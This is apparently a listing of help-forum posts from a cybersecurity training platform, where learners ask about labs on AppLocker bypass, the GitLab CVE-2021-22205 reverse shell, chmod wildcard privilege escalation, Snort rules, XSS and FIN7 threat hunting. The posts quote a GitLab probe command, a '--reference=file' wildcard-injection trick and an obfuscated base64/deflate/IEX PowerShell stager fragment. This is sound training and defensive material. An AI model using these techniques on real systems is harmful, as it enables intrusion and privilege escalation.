offensive cyber

45 Topics

Windows Exploitation: Bypassing AppLocker Allowed Paths
Hello, I need a assistance with a lab on Windows Exploitation: Bypassing AppLocker Allowed Paths . I have tried to clear this lab but I'm unable to run powershell.exe. I have tried to locate other installations of Powershell on the Windows Machine but even those executables within C:\Windows\WinSxS are getting blocked. Please help me on this to crack down.
NitinRangannavar
8 days ago Place Help & Support Forum
73Views
0likes
4Comments
CVE-2021-22205 (GitLab) – Offensive
Has anyone encountered an issue (or not) with this lab? It seems fairly trivial to create the file using the remote Gitlab instance IP and then use the commands included in the linked attackerkb article to upload the image with the reverse shell and gain access. However, when I try to upload the image using the curl command I get a response 422 Unprocessable Entity. In the html: <div class="container"> <h3>The change you requested was rejected.</h3> <hr /> <p>Make sure you have access to the thing you tried to change.</p> <p>Please contact your GitLab administrator if you think this is a mistake.</p> <a href="javascript:history.back()" class="js-go-back go-back">Go back</a> </div> Furthermore in the attackerkb article it states: Finally, it’s possible to determine if a remote GitLab instance is vulnerable based on it’s response to a POST request. For example: albinolobster@ubuntu:~$ echo lollol > test.jpeg albinolobster@ubuntu:~$ curl -v -F 'file=**[@test](/contributors/test)**.jpeg' http://10.0.0.7/$(openssl rand -hex 8) The unpatched version will respond with an HTTP 422 response and some text indicating “The change you requested was rejected.” The patched version of GitLab will respond with an HTTP 404 response and text indicating “The page could not be found…”. When running these commands I receive a 404 Not Found response rather that 422 leading me to believe that the Gitlab version is patched and not vulnerable.
Solved
redreturn
10 days ago Place Help & Support Forum
50Views
0likes
5Comments
A Letter to Santa
Hello everyone, Wrong time of year, I know.. I've been having a go at the Christmas challenge collection and stuck on "A letter to Santa". I've managed to get code execution as user but struggling with the priv esc. I've found the cron job which runs chmod 600 * as root in /etc/letters. Is it possible to use chmod to priv esc? I've tried creating a file called '--reference=file' and created another file called 'file' with 7777 privileges - resulting in anything in directory having suid bit set. Tried copying bash and creating a symlink, but with no luck. Am I going down a massive rabbit hole with this? Or missing some obvious plain text creds somewhere 😂
Solved
jamesstammers
18 days ago Place Help & Support Forum
44Views
1like
4Comments
Snort Rules: Ep.9 – Exploit Kits
I am pulling my hair with question number 8 Create a Snort rule to detect the third GET request in the second PCAP file, then submit the token. This one should do it but it is not working. alert tcp any any -> any any (msg:"detect the third GET request"; content:"e31e6edb08bf0ae9fbb32210b24540b6fl"; sid:1000001) I tried so many rules base on the first GET header and still unable to get the token. Any tips?
retornet
24 days ago Place Help & Support Forum
45Views
0likes
1Comment
Snort Rules: Ep.7 – Lokibot Infection Traffic
I need help with the last question please. I tried so many rules and I am still getting it wrong 13-Create a Snort rule to detect this User-Agent string in the HTTP header for connections using port 49167, then submit the token. Tried this one which to me it should be able to work. alert tcp any any -> any 49167 (msg:"User-Agent match"; content:"Mozilla/4.08 (Charon; Inferno)"; sid:5000031;) alert tcp any any -> any 49167 (msg:"User-Agent Mozilla/4.08 (Charon; Inferno) detected"; content:"User-Agent: Mozilla/4.08 (Charon; Inferno)"; http_header; sid:5000020;)
Solved
retornet
2 months ago Place Help & Support Forum
42Views
0likes
2Comments
Pen Test CTFs: Artica Shipping Company
Hi Guy, Anybody completed this lab? This lab is supposed to be easy, so I guess I'm trying to overthink it already. Was anybody successful at restarting artica-fax-server (requires admin) to get your service binary going? Thank you.
uebba_bubba
2 months ago Place Help & Support Forum
72Views
0likes
5Comments
Hack Your First Web App: Ep.4 Missing Cookie
I'm stuck on the last question of Hack Your First Web App: Ep.4. I have repeated the XSS over and over again successfully, but it does not give me a cookie called "xss-token". It gives me a cookie with some letters and numbers, and those aren't the answer to the question. What can I do from here?
Solved
jodell
2 months ago Place Help & Support Forum
60Views
0likes
2Comments
Privilege Escalation: Windows – Finding Passwords
Hi, the search for the keywords in .xml and .ps files in the indicated folders C:\Users\Default and C:\ProgramData does not bring any result for me. Can you check if this is right and/or give me some hint?
julienberbach123
2 months ago Place Help & Support Forum
59Views
0likes
2Comments
FIN7 Threat Hunting with Splunk: Ep.3 – Execution Logs
I am pulling my hair with this last question Rebuild the PowerShell script from the previous question using the three parts found in the PowerShell operational logs. What is the MD5 hash of this file? (The file should not contain any trailing white space or return characters) I ran index=* (EventCode=4104) | search "stager.ps1" AND "scriptblock" | table _raw and added the script content of files (1 of 3) (2 of 3) (3 of 3) to a new file. I removed the spaces and made sure they are glued together. I pasted the file in cyber chef with md5 selected and I keep getting the wrong hash. See a sample of the beginning and end of the 3 files This is just a sample below. I really don't know what else to do with this. $EncodedCompressedFile = @' 7b1pk+LKcjD83RH3P5y4cT/Y0ddusfXAfcMRT5U2JJCgBBJIDn8AAQIklmmgBfz6N7O00sCcnuuxH9vPUcRMo1qycqvMrFItfxmsgu3keHqf//avv/2fP//pH/5NiiJts9+9H//xz+H8fTuPatV/mUXRn//p u3rgE9+I/KPY62u+qTQuvp0Xqu3KPkEovj/867/++Z/+9A9/+oe/jFZbY7757V9/w1+96fpvf3NW78fTJCJRtPP/UfjrvxmT4/Lf//Y3Y3L+x79ML8f54V+6821wXP5VOFcEQfgn+FuDv/CnLnCY/za4HI7zzb9Yp+1xtZn/i7Y9zt93+8H8/WPlQ3Vj8n5YTiKAKe72lxToX4W/prj89aaVHEuOm/g+nxznwyX8mQFuRR38ja3//w== '@ $Decoded = [System.Convert]::FromBase64String($EncodedCompressedFile) $MemStream = New-Object System.IO.MemoryStream $MemStream.Write($Decoded, 0, $Decoded.Length) $MemStream.Seek(0,0) | Out-Null $CompressedStream = New-Object System.IO.Compression.DeflateStream($MemStream, [System.IO.Compression.CompressionMode]::Decompress) $StreamReader = New-Object System.IO.StreamReader($CompressedStream) $Output = $StreamReader.readtoend() $Output | IEX
Solved
retornet
2 months ago Place Help & Support Forum
69Views
0likes
1Comment
Radare2 Reverse Engineering: Ep.2 – Windows Binary Part 2
I have run into a challenge with Question 3 on this lab. I can't seem to get the appropriate md5 hash value for the .text section to correctly answer this question. I feel that I am close but slightly off on one of the mandatory calculations. Any insight or guidance on what I'm missing / doing incorrectly would be greatly appreciated. Thanks in advance.
Jeff777
2 months ago Place Help & Support Forum
74Views
1like
4Comments